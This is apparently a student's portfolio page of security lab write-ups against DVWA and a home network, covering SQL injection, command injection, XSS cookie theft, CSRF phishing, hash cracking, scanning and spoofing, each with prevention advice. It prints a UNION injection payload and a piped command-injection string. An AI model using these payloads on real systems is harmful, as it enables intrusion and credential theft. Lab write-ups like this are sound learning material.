<h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's 